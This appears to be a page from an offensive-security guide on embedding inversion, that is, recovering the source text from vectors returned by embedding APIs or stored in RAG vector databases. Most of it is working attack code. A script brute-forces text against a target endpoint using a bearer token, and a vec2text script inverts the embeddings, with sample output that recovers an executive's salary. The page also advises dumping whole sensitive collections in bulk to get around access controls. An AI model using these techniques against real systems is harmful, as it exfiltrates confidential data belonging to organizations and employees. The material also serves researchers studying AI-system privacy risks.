Embedding Inversion to Recover Training Data
Embedding models compress text into dense vectors. The compression is lossy but not random — similar texts produce similar vectors, and the relationship between text and vector is consistent enough that inversion is possible. Embedding inversion attacks reconstruct the original text from a vector, or recover text close enough to be operationally useful.
The attack is relevant wherever embeddings are stored or returned by an API: vector databases containing RAG chunks, embedding APIs that return vectors for user-supplied input, and model serving endpoints that expose intermediate representations. Recovering the source text from embeddings in an hr_internal or customer_contracts collection is a data exfiltration primitive that bypasses application-level access controls entirely.
Confirm the Embedding API Returns Vectors
Some embedding endpoints return vectors directly in the response. Confirm this before attempting inversion:
{
"embedding": [0.0231, -0.0412, 0.0187, ...],
"model": "text-embedding-3-small",
"dimensions": 1536
}
A response containing the raw embedding vector and model name is enough to start inversion. Note the model name and dimensions — the inversion technique depends on which model produced the vector.
Token-Level Inversion via API Queries
For black-box inversion without a local model, reconstruct text by iteratively querying the embedding API. Embed candidate texts and compare cosine similarity to the target vector. High similarity indicates the candidate is close to the original. This is slow but requires no local GPU:
import requests, numpy as np, json
TARGET_IP = '$TARGET_IP'
TOKEN = '$TOKEN'
def get_embedding(text):
r = requests.post(
f'https://{TARGET_IP}/api/embed',
headers={'Authorization': f'Bearer {TOKEN}', 'Content-Type': 'application/json'},
json={'input': text}
)
return np.array(r.json()['embedding'])
def cosine_sim(a, b):
return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))
# Target vector extracted from vector store scroll
target_vector = np.array([0.0231, -0.0412, 0.0187]) # Replace with actual vector
candidates = [
'Employee salary review Q3 2025',
'Executive compensation package CEO',
'Annual performance bonus structure',
'HR compensation guide confidential',
]
for c in candidates:
emb = get_embedding(c)
sim = cosine_sim(target_vector, emb)
print(f'{sim:.4f} | {c}')
0.9312 | Executive compensation package CEO 0.8841 | HR compensation guide confidential 0.7203 | Annual performance bonus structure 0.6891 | Employee salary review Q3 2025
A similarity above 0.90 for a candidate text confirms that candidate closely matches the source of the target vector. Expand around the highest-scoring candidates by adding synonyms, varying phrasing, and including numeric values to refine the reconstruction.
White-Box Inversion with vec2text
For known embedding models, vec2text provides gradient-based inversion that can recover the original text with high fidelity. It works best against OpenAI text-embedding-ada-002 and text-embedding-3-small, which are the most common models in production RAG deployments:
import vec2text
import torch
import numpy as np
# Load the corrector trained for text-embedding-ada-002
corrector = vec2text.load_pretrained_corrector('text-embedding-ada-002')
# Target embedding extracted from the vector store
target_embedding = torch.tensor([0.0231, -0.0412, 0.0187]).unsqueeze(0) # Replace with full 1536-dim vector
# Invert the embedding back to text
inverted_text = vec2text.invert_embeddings(
embeddings=target_embedding,
corrector=corrector,
num_steps=20
)
print('Recovered text:', inverted_text[0])
Recovered text: Executive compensation package for FY2025: CEO base salary $480,000
vec2text requires the full-dimensional embedding vector. Pair it with a vector store scroll attack to extract all vectors from a sensitive collection, then invert them in bulk. The combination dumps the knowledge base content without ever querying the RAG application through its chat interface.
References
-
vec2text — Text Embeddings Inversiongithub.com/jxmorris12/vec2text (opens in new tab)
Gradient-based embedding inversion supporting OpenAI ada-002 and text-embedding-3 models
-
Text Embeddings Reveal Almost as Much as Textarxiv.org/abs/2310.06816 (opens in new tab)
Original vec2text research paper demonstrating high-fidelity inversion of production embedding models
Was this helpful?
Your feedback helps improve this page.